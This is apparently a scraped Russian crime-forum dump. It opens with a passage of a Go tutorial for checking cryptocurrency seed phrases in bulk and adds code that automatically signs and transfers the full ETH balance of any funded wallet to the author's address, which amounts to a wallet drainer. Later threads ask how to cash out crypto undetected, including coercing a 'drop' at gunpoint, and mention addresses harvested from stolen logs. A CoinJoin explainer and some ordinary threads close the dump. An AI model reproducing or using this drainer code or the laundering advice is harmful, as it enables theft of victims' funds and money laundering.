        }
    }

    // 6
    privateKey, _ := btcec.PrivKeyFromBytes(childKey.Key)
    publicKey := privateKey.PubKey()
    address, err := btcutil.NewAddressPubKey(publicKey.SerializeCompressed(), &chaincfg.MainNetParams)
    if err != nil {
        return result, fmt.Errorf("Ошибка создания Bitcoin-адреса: %v", err)
    }

    // 7
    balance, err := getBalanceFromAPI(address.EncodeAddress())
    if err != nil {
        return result, fmt.Errorf("Ошибка получения баланса: %v", err)
    }

    // 8
    result.Address = address.EncodeAddress()
    result.Balance = float64(balance) / 1e8
    return result, nil
}


// 9
func getBalanceFromAPI(address string) (int64, error) {
    randomParam := strconv.Itoa(rand.Intn(100000))
    url := fmt.Sprintf("https://api.blockcypher.com/v1/btc/main/addrs/%s/balance?rnd=%s&time=%d", address, randomParam, time.Now().UnixNano())

    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        return 0, fmt.Errorf("Ошибка создания запроса: %v", err)
    }

    req.Header.Add("X-Random-Header", strconv.Itoa(rand.Intn(100000)))
    req.Header.Add("User-Agent", "Go-http-client/1.1")
    req.Header.Add("Cache-Control", "no-cache")


    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return 0, fmt.Errorf("Ошибка выполнения запроса: %v", err)
    }
    defer resp.Body.Close()

    var balanceResponse BalanceResponse
    if err := json.NewDecoder(resp.Body).Decode(&balanceResponse); err != nil {
        return 0, fmt.Errorf("Ошибка декодирования ответа: %v", err)
    }

    return balanceResponse.Balance, nil
}
  1. Для взаимодействия с нодой используем библиотеку github.com/btcsuite/btcd.
  2. Эта структура соответствует JSON-ответу от API, которое предоставляет информацию о балансе Bitcoin-адреса. Поля структуры соответствуют полям JSON-ответа.
  3. Функция обработки мастер-ключа.
  4. Определение пути (path): это массив целых чисел, представляющий путь для создания дочерних ключей в соответствии с протоколом BIP-44.
  5. Генерация дочернего ключа. Начальная точка — мастер-ключ. Для каждого значения в пути создаётся новый дочерний ключ с использованием функции NewChildKey. childKey.NewChildKey(i) — создаёт новый дочерний ключ на каждом уровне иерархии.
  6. Создание приватного и публичного ключей: генерируем приватный ключ на основе байтов дочернего ключа, получаем соответствующий публичный ключ из приватного ключа, создаём адрес на основе публичного ключа в основной сети MainNet.
  7. Вызов функции для получения баланса на Bitcoin-адресе через API.
  8. Запись адреса в результат. Баланс конвертируется из сатоши в биткойны (разделив на 1e8, так как 1 биткойн = 100,000,000 сатоши). Возвращаем заполненную структуру result и nil для ошибки, указывая, что всё прошло успешно.
  9. Функция для получения баланса из API: используется API BlockCypher. Случайный параметр добавлен в URL, поскольку это помогает избегать блокировок со стороны Cloudflare. Отправляем GET-запрос, создаём HTTP-клиент, выполняем запрос, декодируем тело ответа в структуру BalanceResponse, возвращаем баланс в сатоши.

BIP-44 (Bitcoin Improvement Proposal 44) — это стандарт, который описывает, как из одного мастер-ключа можно генерировать множество дочерних ключей и соответствующих адресов.

Проверяем код на валидном мнемонике и убеждаемся в его корректной работе.
Screenshot_3.png

Альтернатива использованию стороннего API — поднятие собственной ноды. Плюсы такого решения: независимость от сторонних сервисов и API, приватность (запросы не проходят через их серверы), полный контроль над синхронизацией и обработкой транзакций. Из минусов на август 2024 года размер полной ноды Bitcoin составляет примерно 500-600 ГБ.

Ethereum

Переходим к добавлению блокчейна Ethereum. Код файла eth.go пакета/папки eth.

C-like:Copy to clipboard

package eth

import (
    "context"
    "crypto/ecdsa"
    "fmt"
    "math/big"
    "strings"

    // 1
    "github.com/ethereum/go-ethereum"
    "github.com/ethereum/go-ethereum/accounts/abi"
    "github.com/ethereum/go-ethereum/common"
    "github.com/ethereum/go-ethereum/crypto"
    "github.com/ethereum/go-ethereum/ethclient"
    "github.com/tyler-smith/go-bip32"
)

// 2
type ETHResult struct {
    Address      string  `json:"address"`
    Balance      float64 `json:"balance"`
    USDTBalance  float64 `json:"usdt_balance"`
}

// 3
var erc20ABI = `[{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]`

// 4
func Process(masterKey *bip32.Key) (ETHResult, error) {
    var result ETHResult

    // 5
    path := []uint32{
        44 + bip32.FirstHardenedChild,
        60 + bip32.FirstHardenedChild,
        0 + bip32.FirstHardenedChild,
        0,
        0,
    }

    // 6
    childKey := masterKey
    for _, i := range path {
        var err error
        childKey, err = childKey.NewChildKey(i)
        if err != nil {
            return result, fmt.Errorf("Ошибка создания дочернего ключа: %v", err)
        }
    }

    // 7
    privateKey, err := crypto.ToECDSA(childKey.Key)
    if err != nil {
        return result, fmt.Errorf("Ошибка извлечения приватного ключа: %v", err)
    }

    // 8
    publicKey := privateKey.Public().(*ecdsa.PublicKey)
    address := crypto.PubkeyToAddress(*publicKey)
    result.Address = address.Hex()

    // 9
    client, err := ethclient.Dial("https://mainnet.infura.io/v3/")
    if err != nil {
        return result, fmt.Errorf("Ошибка подключения к сети Ethereum: %v", err)
    }

    // 10
    balance, err := client.BalanceAt(context.Background(), address, nil)
    if err != nil {
        return result, fmt.Errorf("Ошибка получения баланса: %v", err)
    }

    // 11
    f := new(big.Float)
    f.SetString(balance.String())
    f.Quo(f, big.NewFloat(1e18))

    result.Balance, _ = f.Float64()

    // 12
    usdtAddress := common.HexToAddress("0xdAC17F958D2ee523a2206206994597C13D831ec7")

    // 13
    usdtBalance, err := getTokenBalance(client, usdtAddress, address)
    if err != nil {
        return result, fmt.Errorf("Ошибка получения баланса USDT: %v", err)
    }

    // 14
    usdtFloat := new(big.Float).SetInt(usdtBalance)
    usdtFloat.Quo(usdtFloat, big.NewFloat(1e6))

    result.USDTBalance, _ = usdtFloat.Float64()

    return result, nil
}

// 15
func getTokenBalance(client *ethclient.Client, tokenAddress common.Address, userAddress common.Address) (*big.Int, error) {
    parsedABI, err := abi.JSON(strings.NewReader(erc20ABI))
    if err != nil {
        return nil, fmt.Errorf("ошибка разбора ABI: %v", err)
    }

    data, err := parsedABI.Pack("balanceOf", userAddress)
    if err != nil {
        return nil, fmt.Errorf("ошибка упаковки данных вызова: %v", err)
    }

    callMsg := ethereum.CallMsg{
        To:   &tokenAddress,
        Data: data,
    }

    result, err := client.CallContract(context.Background(), callMsg, nil)
    if err != nil {
        return nil, fmt.Errorf("ошибка вызова контракта: %v", err)
    }

    outputs, err := parsedABI.Unpack("balanceOf", result)
    if err != nil {
        return nil, fmt.Errorf("ошибка распаковки данных вызова: %v", err)
    }

    balance := outputs[0].(*big.Int)
    return balance, nil
}
  1. Для взаимодействия с сетью Ethereum воспользуемся библиотекой github.com/ethereum/go-ethereum.
  2. Структура для хранения информации о результатах работы функции.
  3. JSON-строка, представляющая ABI (Application Binary Interface) для контракта ERC-20. Используется для вызова функции balanceOf, которая возвращает баланс токенов для указанного адреса.
  4. Основная функция, принимающая мастер-ключ и возвращающая ETHResult.
  5. Генерация пути, как и ранее с сетью Bitcoin.
  6. Генерация дочерних ключей.
  7. Извлечение приватного ключа.
  8. Генерация Ethereum-адреса из публичного ключа.
  9. Подключение к узлу Ethereum через Infura API (ключ удален из кода, лимит для бесплатной проверки по API — 100 тыс. запросов в день).
  10. Получение баланса ETH для указанного адреса.
  11. Конвертация баланса из wei (1 ETH = 1e18 wei) в ETH.
  12. Помимо основного кошелька, я проверяю баланс USDT токенов. Можно добавить проверку большего количества токенов. Для получения баланса токена необходимо найти адрес контракта. В данном случае переменная содержит адрес контракта USDT в сети Ethereum.
  13. Вызов функции для получения баланса USDT для указанного адреса.
  14. Конвертация баланса USDT из базовых единиц в формат с 6 знаками после запятой.
  15. Функция для получения баланса токенов ERC-20 (в данном случае USDT). Функция использует ABI для упаковки данных вызова и декодирования ответа от контракта. ABI служит интерфейсом между Go-кодом и смарт-контрактом Ethereum. Используется метод CallContract для вызова функции контракта и получения результата. Полученный результат декодируется в требуемый формат и возвращается как значение баланса.

Внесем небольшие изменения в main.go.

C-like:Copy to clipboard

// 1
            result := utils.Result{
                Mnemonic: mnemonic,
            }

            // 2
            btcResult, err := btc.Process(masterKey)
            if err != nil {
                log.Printf("Ошибка обработки Bitcoin для сид-фразы %s: %v\n", mnemonic, err)
            } else {
                result.BTCAddress = btcResult.Address
                result.BTCCoins = btcResult.Balance
            }

            // 3
            ethResult, err := eth.Process(masterKey, recipient)
            if err != nil {
                log.Printf("Ошибка обработки Ethereum для сид-фразы %s: %v\n", mnemonic, err)
            } else {
                result.ETHAddress = ethResult.Address
                result.ETHCoins = ethResult.Balance
                result.USDTBalance = ethResult.USDTBalance
            }

            // 4
            if result.BTCAddress != "" || result.ETHAddress != "" {
                resultChan <- result
            }
  1. Инициализация пустого результата.
  2. Обработка Bitcoin: если ошибок нет, сохраняем результат BTC.
  3. Обработка Ethereum: если ошибок нет, сохраняем результат ETH.
  4. Если хотя бы один из результатов заполнен, отправляем результат.

Также внесем изменения в utils.go.

C-like:Copy to clipboard

type ETHResult struct {
    Address      string  `json:"address"`
    Balance      float64 `json:"balance"`
    USDTBalance  float64 `json:"usdt_balance"`
}

type Result struct {
    Mnemonic   string  `json:"mnemonic"`
    BTCAddress string  `json:"btc_address"`
    BTCCoins   float64 `json:"btc_coins"`
    ETHAddress string  `json:"eth_address"`
    ETHCoins   float64 `json:"eth_coins"`
    USDTBalance float64 `json:"usdt_balance"`
}    

  for _, result := range results {
        line := fmt.Sprintf("Mnemonic: %s\nBTC Address: %s\nBTC Balance: %.8f\nETH Address: %s\nETH Balance: %.8f\nUSDT Balance: %.6f\n",
        result.Mnemonic,
        result.BTCAddress,
        result.BTCCoins,
        result.ETHAddress,
        result.ETHCoins,
        result.USDTBalance,
    )

Автовывод

Добавим небольшое изменение в функцию Process в файле eth.go. При наличии баланса на кошельке он автоматически будет переводиться на другой кошелек.

C-like:Copy to clipboard

// 1
func Process(masterKey *bip32.Key, recipient string) (ETHResult, error) {
    var result ETHResult


    path := []uint32{
        44 + bip32.FirstHardenedChild,
        60 + bip32.FirstHardenedChild,
        0 + bip32.FirstHardenedChild,
        0,
        0,
    }

    childKey := masterKey
    for _, i := range path {
        var err error
        childKey, err = childKey.NewChildKey(i)
        if err != nil {
            return result, fmt.Errorf("Ошибка создания дочернего ключа: %v", err)
        }
    }

    privateKey, err := crypto.ToECDSA(childKey.Key)
    if err != nil {
        return result, fmt.Errorf("Ошибка извлечения приватного ключа: %v", err)
    }

    publicKey := privateKey.Public().(*ecdsa.PublicKey)
    address := crypto.PubkeyToAddress(*publicKey)
    result.Address = address.Hex()

    client, err := ethclient.Dial("https://mainnet.infura.io/v3/")
    if err != nil {
        return result, fmt.Errorf("Ошибка подключения к сети Ethereum: %v", err)
    }

    balance, err := client.BalanceAt(context.Background(), address, nil)
    if err != nil {
        return result, fmt.Errorf("Ошибка получения баланса: %v", err)
    }

    // 2
    f := new(big.Float)
    f.SetString(balance.String())
    f.Quo(f, big.NewFloat(1e18))
    result.Balance, _ = f.Float64()

    // 3
    minBalance := big.NewInt(390000000000000)
    if balance.Cmp(minBalance) > 0 {
        // 4
        gasPrice, err := client.SuggestGasPrice(context.Background())
        if err != nil {
            return result, fmt.Errorf("Ошибка получения цены за газ: %v", err)
        }

        // 5
        gasLimit := uint64(21000)

        // 6
        gasCost := new(big.Int).Mul(gasPrice, big.NewInt(int64(gasLimit)))

        // 7
        if balance.Cmp(gasCost) > 0 {
            // 8
            value := new(big.Int).Sub(balance, gasCost)


            nonce, err := client.PendingNonceAt(context.Background(), address)
            if err != nil {
                return result, fmt.Errorf("Ошибка получения nonce: %v", err)
            }

            toAddress := common.HexToAddress(recipient)
            tx := types.NewTransaction(nonce, toAddress, value, gasLimit, gasPrice, nil)


            chainID, err := client.NetworkID(context.Background())
            if err != nil {
                return result, fmt.Errorf("Ошибка получения chainID: %v", err)
            }

            signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
            if err != nil {
                return result, fmt.Errorf("Ошибка подписания транзакции: %v", err)
            }


            err = client.SendTransaction(context.Background(), signedTx)
            if err != nil {
                return result, fmt.Errorf("Ошибка отправки транзакции: %v", err)
            }

            log.Printf("Транзакция отправлена: %s", signedTx.Hash().Hex())
        } else {
            log.Println("Недостаточно средств для отправки транзакции с учетом комиссии.")
        }
    }
  1. Добавим аргумент recipient типа string, который будет представлять собой адрес для вывода.
  2. Конвертация баланса в Ether.
  3. Проверка, если баланс больше чем 0.00039 ETH (390000000000000 Wei или 1 доллар по текущему курсу).
  4. Получение цены за газ.
  5. Примерная оценка газа для транзакции (21000 единиц газа для простой передачи ETH).
  6. Расчет комиссии.
  7. Проверка, можем ли мы отправить всю сумму с учетом комиссии.
  8. Отправка транзакции. Отправляем весь баланс минус комиссию. Формируем, подписываем и отправляем транзакцию.

В файле main.go добавляем адрес кошелька и передаем его функции.

C-like:Copy to clipboard

recipient = ""

ethResult, err := eth.Process(masterKey, recipient)

Проверяем и видим новую транзакцию на кошельке.

Код можно расширять путем добавления других контрактов и блокчейн-сетей.

Трям! Пока!

Вывод крипты/usdt в нал, без палева, как???
ID: 67686ad7b4103b69df3796eb
Thread ID: 103169
Created: 2023-11-28T21:09:18+0000
Last Post: 2024-08-16T07:48:47+0000
Author: nogodno
Replies: 16 Views: 1K

Как без палева выводить денюжку в нал?? На каждой обменке куча камера, ладно когда ты 1 раз прийдеш и уйдеш с 10к но если надо 100к забрать, как быть с анонимностю, слать дропа??…. Как варик дропа в рабство взять или пригрозить стволом, но все равно падла сдаст…
Я понимаю что тут болтовни много, но пожалуйста по сабжу.

Арбитраж
ID: 67686ad7b4103b69df3796ec
Thread ID: 120774
Created: 2024-08-14T14:12:22+0000
Last Post: 2024-08-15T16:31:07+0000
Author: m0dHEX
Replies: 15 Views: 1K

Здравствуйте уважаемые, заинтересовала такая сфера как арбитраж. Я полный 0 в этой сфере но хочу влиться в тусовку и обучиться ремеслу. Если кто может поделится контактами или взять к себе буду благодарен. Обучаюсь быстро.

Возьму адреса на чек токенов в сети BSC
ID: 67686ad7b4103b69df3796f4
Thread ID: 120023
Created: 2024-08-01T16:43:57+0000
Last Post: 2024-08-07T05:04:05+0000
Author: Kain1029
Replies: 14 Views: 1K

Своих адресов нет, из логов выковыривать некогда, а сервис тестировать надо.

В наличии 2.745.819 токенов. Большинство из них старые, скам токены или пустышки, поэтому фильтрую:
Кол-во транзакций > 5000
Последняя транзакция с используемым токеном не больше чем 7 дней назад
С такой сортировки выходит около 10к токенов.

С вас нужны только только адреса. Денег не беру, но от пожертвований не откажусь

Пример отчета:

Spoiler: Отчет

JSON:Copy to clipboard

[
  {
    "contract": "0x1ac0998f7d0e55196cd17a7f059e4117b54e3929",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 1e-18,
    "information": {
      "symbol": "HFH",
      "name": "HFH",
      "decimals": 18,
      "countTransaction": 10241,
      "latestTransaction": "2024-08-01T15:19:15+03:00"
    }
  },
  {
    "contract": "0x0d05a204e27e4815f1f5afdb9d82aa221aa0bdfa",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 800000,
    "information": {
      "symbol": "GemSwap.net",
      "name": "GemSwap.net",
      "decimals": 18,
      "countTransaction": 13252,
      "latestTransaction": "2024-08-01T14:34:26+03:00"
    }
  },
  {
    "contract": "0x0198be93b7cae38da7e2fd966946412cc36447bf",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 17777,
    "information": {
      "symbol": "MELLO",
      "name": "BSCmello.io",
      "decimals": 18,
      "countTransaction": 13798,
      "latestTransaction": "2024-08-01T14:47:56+03:00"
    }
  },
  {
    "contract": "0x82d0952f3524df3e0f003d6bb231015d312f9164",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 198000,
    "information": {
      "symbol": "ACW",
      "name": "Awesome Crypto World",
      "decimals": 6,
      "countTransaction": 24322,
      "latestTransaction": "2024-08-01T12:53:19+03:00"
    }
  },
  {
    "contract": "0xd5da8318ce7ca005e8f5285db0e750ca9256586e",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 60000,
    "information": {
      "symbol": "ACT",
      "name": "ACT",
      "decimals": 6,
      "countTransaction": 33174,
      "latestTransaction": "2024-08-01T15:50:41+03:00"
    }
  },
  {
    "contract": "0xc33fc11b55465045b3f1684bde4c0aa5c5f40124",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 21131181,
    "information": {
      "symbol": "BNBw",
      "name": "BNBw.io",
      "decimals": 9,
      "countTransaction": 33713,
      "latestTransaction": "2024-08-01T14:46:05+03:00"
    }
  },
  {
    "contract": "0xbb92b9d18db99c3695bc820bf2c876d4b1527fa5",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 3000000,
    "information": {
      "symbol": "Verse",
      "name": "ShibaVerse",
      "decimals": 9,
      "countTransaction": 28938,
      "latestTransaction": "2024-08-01T01:59:43+03:00"
    }
  },
  {
    "contract": "0x5f7a1a4dafd0718caee1184caa4862543f75edb1",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 29000000,
    "information": {
      "symbol": "XEC",
      "name": "eCash",
      "decimals": 6,
      "countTransaction": 29972,
      "latestTransaction": "2024-07-31T22:06:22+03:00"
    }
  },
  {
    "contract": "0x3e14602186dd9de538f729547b3918d24c823546",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 0.001804282420158146,
    "information": {
      "symbol": "BNB",
      "name": "Thunder Wrapped BNB",
      "decimals": 18,
      "countTransaction": 57694,
      "latestTransaction": "2024-08-01T04:35:59+03:00"
    }
  },
  {
    "contract": "0x35122d1fe8001296f61290b8ba42ef597af31fb7",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 1000000,
    "information": {
      "symbol": "wADAX",
      "name": "Wrapped ADAX",
      "decimals": 6,
      "countTransaction": 12358,
      "latestTransaction": "2024-07-31T22:06:16+03:00"
    }
  },
  {
    "contract": "0xd929c91f5364c2740cc6856cf80942072bdef7f6",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 95000,
    "information": {
      "symbol": "GAMBLING",
      "name": "Gambling-Crypto.games",
      "decimals": 8,
      "countTransaction": 21194,
      "latestTransaction": "2024-08-01T11:25:23+03:00"
    }
  },
  {
    "contract": "0x8ee3e98dcced9f5d3df5287272f0b2d301d97c57",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 9604012,
    "information": {
      "symbol": "AIR",
      "name": "AirStack.net",
      "decimals": 18,
      "countTransaction": 39078,
      "latestTransaction": "2024-08-01T14:33:26+03:00"
    }
  },
  {
    "contract": "0xd048b4c23af828e5be412505a51a8dd7b37782dd",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 23000,
    "information": {
      "symbol": "AI-A",
      "name": "AI Avail",
      "decimals": 6,
      "countTransaction": 65704,
      "latestTransaction": "2024-08-01T14:55:50+03:00"
    }
  },
  {
    "contract": "0x71753d0586ea6b979dfccbb492a45e611e0e0ad6",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 120000.576,
    "information": {
      "symbol": "MGRT",
      "name": "My Get Rich Token",
      "decimals": 18,
      "countTransaction": 29783,
      "latestTransaction": "2024-07-31T22:11:28+03:00"
    }
  },
  {
    "contract": "0xd9d0e3dd09c78930de4ac83856bd0af6d3dd2022",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 1e-18,
    "information": {
      "symbol": "Germany",
      "name": "Germany",
      "decimals": 18,
      "countTransaction": 29829,
      "latestTransaction": "2024-08-01T12:19:57+03:00"
    }
  },
  {
    "contract": "0x373233a38ae21cf0c4f9de11570e7d5aa6824a1e",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 28102000,
    "information": {
      "symbol": "ALPACA",
      "name": "ALPACAFIN.COM",
      "decimals": 18,
      "countTransaction": 33948,
      "latestTransaction": "2024-08-01T04:16:38+03:00"
    }
  },
  {
    "contract": "0x00d7c7b0326b3f0c7ba225036eec29ff9eda353d",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 60000,
    "information": {
      "symbol": "PPBoxs.net",
      "name": "PPBoxs.net",
      "decimals": 18,
      "countTransaction": 41749,
      "latestTransaction": "2024-08-01T15:49:20+03:00"
    }
  },
  {
    "contract": "0xbc6675de91e3da8eac51293ecb87c359019621cf",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 1921604,
    "information": {
      "symbol": "AIR",
      "name": "BestAir.io",
      "decimals": 18,
      "countTransaction": 50865,
      "latestTransaction": "2024-08-01T06:46:26+03:00"
    }
  },
  {
    "contract": "0xb8a9704d48c3e3817cc17bc6d350b00d7caaecf6",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 8792426,
    "information": {
      "symbol": "ABFIN",
      "name": "ABFIN.org",
      "decimals": 9,
      "countTransaction": 79205,
      "latestTransaction": "2024-08-01T14:42:38+03:00"
    }
  },
  {
    "contract": "0xb16600c510b0f323dee2cb212924d90e58864421",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 950000,
    "information": {
      "symbol": "FLUX",
      "name": "GoFlux.io",
      "decimals": 18,
      "countTransaction": 80893,
      "latestTransaction": "2024-08-01T06:27:28+03:00"
    }
  },
  {
    "contract": "0xe3e1147acd39687a25ca7716227c604500f5c31a",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 5000000,
    "information": {
      "symbol": "BSC-Coin",
      "name": "Smart Chain Coin",
      "decimals": 6,
      "countTransaction": 81364,
      "latestTransaction": "2024-08-01T12:32:49+03:00"
    }
  },
  {
    "contract": "0xb0557906c617f0048a700758606f64b33d0c41a6",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 750000,
    "information": {
      "symbol": "Zepe.io",
      "name": "Zepe.io",
      "decimals": 18,
      "countTransaction": 83258,
      "latestTransaction": "2024-08-01T14:54:20+03:00"
    }
  },
  {
    "contract": "0x683e9dcf085e5efcc7925858aace94d4b8882024",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 1e-9,
    "information": {
      "symbol": "TangYuan",
      "name": "TangYuan",
      "decimals": 9,
      "countTransaction": 84946,
      "latestTransaction": "2024-08-01T14:27:08+03:00"
    }
  },
  {
    "contract": "0xcd6a51559254030ca30c2fb2cbdf5c492e8caf9c",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 62000,
    "information": {
      "symbol": "BOOM",
      "name": "BOOM",
      "decimals": 9,
      "countTransaction": 151587,
      "latestTransaction": "2024-08-01T14:47:05+03:00"
    }
  },
  {
    "contract": "0x0df62d2cd80591798721ddc93001afe868c367ff",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 800000,
    "information": {
      "symbol": "VERA",
      "name": "TheVera.io",
      "decimals": 18,
      "countTransaction": 164623,
      "latestTransaction": "2024-08-01T14:34:59+03:00"
    }
  },
  {
    "contract": "0x5ca42204cdaa70d5c773946e69de942b85ca6706",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 0.0001,
    "information": {
      "symbol": "POSI",
      "name": "Position Token",
      "decimals": 18,
      "countTransaction": 497980,
      "latestTransaction": "2024-08-01T14:37:44+03:00"
    }
  },
  {
    "contract": "0xd22202d23fe7de9e3dbe11a2a88f42f4cb9507cf",
    "owner": "0x1642475F9BD69005fB41123F9eFb200d53F39d80",
    "balance": 150000,
    "information": {
      "symbol": "MNEB",
      "name": "Minereum BSC",
      "decimals": 8,
      "countTransaction": 955608,
      "latestTransaction": "2024-08-01T13:31:49+03:00"
    }
  }
]
Ноды - (полу)пассивный доход?
ID: 67686ad7b4103b69df3796f5
Thread ID: 120294
Created: 2024-08-06T09:36:43+0000
Last Post: 2024-08-06T23:13:27+0000
Author: lisa99
Replies: 19 Views: 1K

И снова ноды.
Во многих блокчейнах (POS) вход по факту небольшой. Да, годовой % ..в этой же крипте может быть тоже 10-15%. Который в $ может стать вообще крохотным.
Но привлекает пассивность овнера.
Есть ли смысл аренды сервера под ноду?
Интересно бы послушать тех у кого опыт\ реальные кейсы ну и просто советы.

Почему никто не пользуется Nano, IOTA, Stellar?
ID: 67686ad7b4103b69df3796fb
Thread ID: 119759
Created: 2024-07-28T23:29:53+0000
Last Post: 2024-07-29T17:54:06+0000
Author: dunkel
Replies: 7 Views: 1K

Почему популярны монеты в огромной комиссией, а не с низкой? Понятно что большие деньги безопаснее хранить на холодке с Proof-Of-Work, но для бытовых, частых, мелких платежей они не подходят.
Допустим хочу купить одноразовый номер или акк в ВК за 0.5$, а минимальная коммисия 2-5$(тоесть больше суммы покупки, что абсурд) у популярных монет которые принимаются к оплате. А если я в день делаю по 10-20 таких мелких платежей? Я постоянно что то покупаю в интернете по мелочи, штучно
Какое будущее может быть за web3 без интернет экономики и мелких транзакций? Такие конские комиссии препятсвуют и отталкивают от быстрых мелких покупок.
Если раньше в tron была комса 1$, щас 2$. В bep20 вроде $0.3, но даже она мало где принимается.
А в Nano и IOTA допустим вообще комсы почти нет. Тоесть хорошо держать 100$ в этих монетах для покупок в интернете. Вот только интернет продавцы их не принимают. Может еще не дошло просто, что за монетами с минимлаьной комсой - будущее
Ваше мнение на этот счет?

Что такое CoinJoin и как с его помощью обеспечить анонимность биткоина
ID: 67686ad7b4103b69df379911
Thread ID: 72296
Created: 2022-08-27T09:49:49+0000
Last Post: 2022-08-29T09:36:27+0000
Author: peacemaker
Prefix: Статья
Replies: 0 Views: 1K

1661593483468.png

CoinJoin — это протокол, который усиливает конфиденциальность транзакций биткоина. С его помощью несколько сторон могут отправлять средства в рамках одной транзакции без риска кражи. Был впервые предложен в 2013 году.

Суть протокола
Протокол CoinJoin позволяет нескольким клиентам Bitcoin, после согласования друг с другом, создавать совместно подписанную транзакцию: она будет содержать средства из кошельков этих клиентов. Это действие позволяет смешивать балансы в один общий. Это позволяет получить анонимность, но не отправлять свои деньги в другие сервисы, то есть снизить риск кражи. Анонимность достигается путем тщательного выбора входных и/или выходных значений.

Исследователи-криптографы предложили различные дополнения к концепции протокола:

Предложение появилось на bitcointalk от Грегори Максвелла (ник — gmaxwell).

Причина создания
BTC продвигается как инструмент, который противопоставляется банковской системе. И многие заблуждаются касательно его анонимности. Кажется, что раз при создании кошелька не нужен паспорт, а генерировать открытые ключи можно столько, сколько надо (чего не сделаешь с картами), это хороший инструмент для сохранения своей конфиденциальности.

В действительности же биткоин псевдоанонимен: отследить транзакцию и связать с реальным лицом можно через повторное использование адреса, анализ сети, отслеживание платежей, мониторинга узлов и множества других механизмов. Также все переводы с адреса биткоина отражаются в публичной книге: сколько вы получили и сколько потратили.

При этом в случае с традиционными банками получается большая конфиденциальность по умолчанию. Никто посторонний не может взять ваш счет и по нему узнать всю историю операций без каких-либо ухищрений. Никто не посмотрит, куда вы тратите деньги, какие сайты спонсируете и сколько переводите на другие счета (ну, если мы не говорим об уполномоченных органах, которые имеют доступ к вашим переводам).

И открытость в биткоине может стать серьезным практическим недостатком как для физических лиц, так и для бизнеса. То есть, зная два адреса, пытливый ум может сделать далеко идущие выводы: например, если с кошелька одной компании был перевод на кошелек другой. Все, с кем торгует компания, в той или иной мере теряют конфиденциальность.

Решение
Тогда автор выдвинул предложение CoinJoin, которое заключает в себе особое выполнение транзакции. Протокол не вносит никаких изменений в сам биткоин.

Пассивный наблюдатель не различит транзакцию, которая отправлена несколькими людьми, многокомпонентную транзакцию, и обычную. Это дает стимул для экосистемы распространять протокол и делает транзакции, которые не выполнены с CoinJoin, неразличимыми, когда это возможно.

Исходный протокол CoinJoin не предлагает некоторых решений по дизайну, таких как введение правил, какие суммы могут быть объединены, как происходит самонастройка и как участники обмениваются информацией перед подписанием транзакции.

1661593553084.png

Такую схему с выводами и вводами приводит Максвелл.

Самый простой пример. Есть два участника CoinJoin, каждый вводит 1 BTC и получают выход в 1 BTC. Для простоты предположим, что комиссия за транзакцию не взимается.

1661593585323.png

Операция использует один или несколько входов и создает один или несколько выходов с заданными значениями.

Каждый вход представляет собой результат прошлой транзакции. Для каждого входа есть отдельная подпись (scriptsig), которая создается в соответствии с правилами, указанными в прошлом выходе (scriptpubkey).

1661593615158.png

Системе биткоина нужно убедиться, что подписи правильны, что входы существуют, а сумма выходных значений меньше или равна сумме входных значений (любой избыток становится комиссией майнерам).

Нет требования, чтобы деньги на выходе использовались одинаково: не требуется переводить BTC по одному и тому же адресу.

Подписи, по одной на вход, внутри транзакции полностью независимы друг от друга. Это означает, что пользователи могут договориться о наборе входных данных, а также о количестве выходов для оплаты. Транзакция недействительна и не будет приниматься сетью до тех пор, пока не будут предоставлены все подписи.

1661593658321.png

Большинство транзакций в сети биткоина все-таки проводятся с комиссией майнерам. В этом случае ее оплата может решаться такими способами:

Идею можно использовать более общим способом: проводить совместные платежи для уменьшения веса.

Существует несколько реализаций анонимных транзакций биктоина, вдохновленных CoinJoin: SharedCoin, Dark Wallet, DarkSend в Altcoin Dash и JoinMarket.

Также есть CoinShuffle, это расширение для протокола CoinJoin. Он основан на протоколе анонимной групповой связи Dissent. Это исправляет один недостаток предыдущего протокола — момент, когда стороны должны договориться: где и как, нужна третья сторона. В данном случае пиры соединяются напрямую, а используя эфемерное шифрование открытого ключа и случайную перетасовку, участники «ослеплены». В случае DDOS-атаки протокол может идентифицировать злоумышленников и удалять их.

Протокол не берет плату за микширование, но требует дополнительного времени на выполнение.

